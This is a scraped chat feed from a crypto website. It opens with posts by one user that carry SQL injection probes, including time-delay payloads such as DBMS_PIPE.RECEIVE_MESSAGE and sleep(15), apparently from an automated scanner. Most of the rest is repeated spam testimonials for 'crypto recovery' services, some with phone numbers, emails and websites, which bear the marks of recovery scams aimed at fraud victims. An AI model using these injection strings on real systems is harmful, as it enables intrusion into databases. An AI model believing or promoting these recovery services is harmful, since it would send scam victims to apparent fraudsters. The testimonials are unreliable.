    can I ask you a question please?'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

  • 09.10.25 08:28 pHqghUme

    can I ask you a question please?'"

  • 09.10.25 08:28 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:28 pHqghUme

    @@olQP6

  • 09.10.25 08:28 pHqghUme

    (select 198766*667891 from DUAL)

  • 09.10.25 08:28 pHqghUme

    (select 198766*667891)

  • 09.10.25 08:30 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:33 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:34 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:34 pHqghUme

    if(now()=sysdate(),sleep(15),0)

  • 09.10.25 08:35 pHqghUme

    e

  • 09.10.25 08:36 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:36 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:37 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:37 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:37 pHqghUme

    e

  • 09.10.25 08:37 pHqghUme

    e

  • 09.10.25 08:40 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:40 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:41 pHqghUme

    e

  • 09.10.25 08:41 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:42 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:42 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:42 pHqghUme

    e

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 11.10.25 04:41 luciajessy3

    Don’t be deceived by different testimonies online that is most likely wrong. I have made use of several recovery options that got me disappointed at the end of the day but I must confess that the tech genius I eventually found is the best out here. It’s better you devise your time to find the valid professional that can help you recover your stolen or lost crypto such as bitcoins rather than falling victim of other amateur hackers that cannot get the job done. ADAMWILSON . TRADING @ CONSULTANT COM / WHATSAPP ; +1 (603) 702 ( 4335 ) is the most reliable and authentic blockchain tech expert you can work with to recover what you lost to scammers. They helped me get back on my feet and I’m very grateful for that. Contact their email today to recover your lost coins ASAP…

  • 11.10.25 10:44 Tonerdomark

    A thief took my Dogecoin and wrecked my life. Then Mr. Sylvester stepped in and changed everything. He got back €211,000 for me, every single cent of my gains. His calm confidence and strong tech skills rebuilt my trust. Thanks to him, I recovered my cash with no issues. After months of stress, I felt huge relief. I had full faith in him. If a scam stole your money, reach out to him today at { yt7cracker@gmail . com } His help sparked my full turnaround.

  • 12.10.25 01:12 harristhomas7376

    "In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 12.10.25 01:12 harristhomas7376

    "In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 12.10.25 19:53 Tonerdomark

    A crook swiped my Dogecoin. It ruined my whole world. Then Mr. Sylvester showed up. He fixed it all. He pulled back €211,000 for me. Not one cent missing from my profits. His steady cool and sharp tech know-how won back my trust. I got my money smooth and sound. After endless worry, relief hit me hard. I trusted him completely. Lost cash to a scam? Hit him up now at { yt7cracker@gmail . com }. His aid turned my life around. WhatsApp at +1 512 577 7957.

  • 12.10.25 21:36 blessing

    Writing this review is a joy. Marie has provided excellent service ever since I started working with her in early 2018. I was worried I wouldn't be able to get my coins back after they were stolen by hackers. I had no idea where to begin, therefore it was a nightmare for me. However, things became easier for me after my friend sent me to [email protected] and +1 7127594675 on WhatsApp. I'm happy that she was able to retrieve my bitcoin so that I could resume trading.

  • 13.10.25 01:11 elizabethrush89

    God bless Capital Crypto Recover Services for the marvelous work you did in my life, I have learned the hard way that even the most sensible investors can fall victim to scams. When my USD was stolen, for anyone who has fallen victim to one of the bitcoin binary investment scams that are currently ongoing, I felt betrayal and upset. But then I was reading a post on site when I saw a testimony of Wendy Taylor online who recommended that Capital Crypto Recovery has helped her recover scammed funds within 24 hours. after reaching out to this cyber security firm that was able to help me recover my stolen digital assets and bitcoin. I’m genuinely blown away by their amazing service and professionalism. I never imagined I’d be able to get my money back until I complained to Capital Crypto Recovery Services about my difficulties and gave all of the necessary paperwork. I was astounded that it took them 12 hours to reclaim my stolen money back. Without a doubt, my USDT assets were successfully recovered from the scam platform, Thank you so much Sir, I strongly recommend Capital Crypto Recover for any of your bitcoin recovery, digital funds recovery, hacking, and cybersecurity concerns. You reach them Call/Text Number +1 (336)390-6684 His Email: [email protected] Contact Telegram: @Capitalcryptorecover Via Contact: [email protected] His website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 13.10.25 01:11 elizabethrush89

    God bless Capital Crypto Recover Services for the marvelous work you did in my life, I have learned the hard way that even the most sensible investors can fall victim to scams. When my USD was stolen, for anyone who has fallen victim to one of the bitcoin binary investment scams that are currently ongoing, I felt betrayal and upset. But then I was reading a post on site when I saw a testimony of Wendy Taylor online who recommended that Capital Crypto Recovery has helped her recover scammed funds within 24 hours. after reaching out to this cyber security firm that was able to help me recover my stolen digital assets and bitcoin. I’m genuinely blown away by their amazing service and professionalism. I never imagined I’d be able to get my money back until I complained to Capital Crypto Recovery Services about my difficulties and gave all of the necessary paperwork. I was astounded that it took them 12 hours to reclaim my stolen money back. Without a doubt, my USDT assets were successfully recovered from the scam platform, Thank you so much Sir, I strongly recommend Capital Crypto Recover for any of your bitcoin recovery, digital funds recovery, hacking, and cybersecurity concerns. You reach them Call/Text Number +1 (336)390-6684 His Email: [email protected] Contact Telegram: @Capitalcryptorecover Via Contact: [email protected] His website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 14.10.25 01:15 tyleradams

    Hi. Please be wise, do not make the same mistake I had made in the past, I was a victim of bitcoin scam, I saw a glamorous review showering praises and marketing an investment firm, I reached out to them on what their contracts are, and I invested $28,000, which I was promised to get my first 15% profit in weeks, when it’s time to get my profits, I got to know the company was bogus, they kept asking me to invest more and I ran out of patience then requested to have my money back, they refused to answer nor refund my funds, not until a friend of mine introduced me to the NVIDIA TECH HACKERS, so I reached out and after tabling my complaints, they were swift to action and within 36 hours I got back my funds with the due profit. I couldn’t contain the joy in me. I urge you guys to reach out to NVIDIA TECH HACKERS on their email: [email protected]

  • 14.10.25 08:46 robertalfred175

    CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: 📧 Email: [email protected] 📱 Telegram: @Capitalcryptorecover Contact: [email protected] 📞 Call/Text: +1 (336) 390-6684 🌐 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 14.10.25 08:46 robertalfred175

    CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: 📧 Email: [email protected] 📱 Telegram: @Capitalcryptorecover Contact: [email protected] 📞 Call/Text: +1 (336) 390-6684 🌐 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 14.10.25 08:46 robertalfred175

    CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: 📧 Email: [email protected] 📱 Telegram: @Capitalcryptorecover Contact: [email protected] 📞 Call/Text: +1 (336) 390-6684 🌐 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 15.10.25 18:07 crypto

    Cryptocurrency's digital realm presents many opportunities, but it also conceals complex frauds. It is quite painful to lose your cryptocurrency to scam. You can feel harassed and lost as a result. If you have been the victim of a cryptocurrency scam, this guide explains what to do ASAP. Following these procedures will help you avoid further issues or get your money back. Communication with Marie ([email protected] and WhatsApp: +1 7127594675) can make all the difference.

  • 15.10.25 21:52 harristhomas7376

    "In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 15.10.25 21:52 harristhomas7376

    "In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

Для участия в Чате вам необходим бесплатный аккаунт pro-blockchain.com Войти Регистрация
Есть вопросы?
С вами на связи 24/7
Help Icon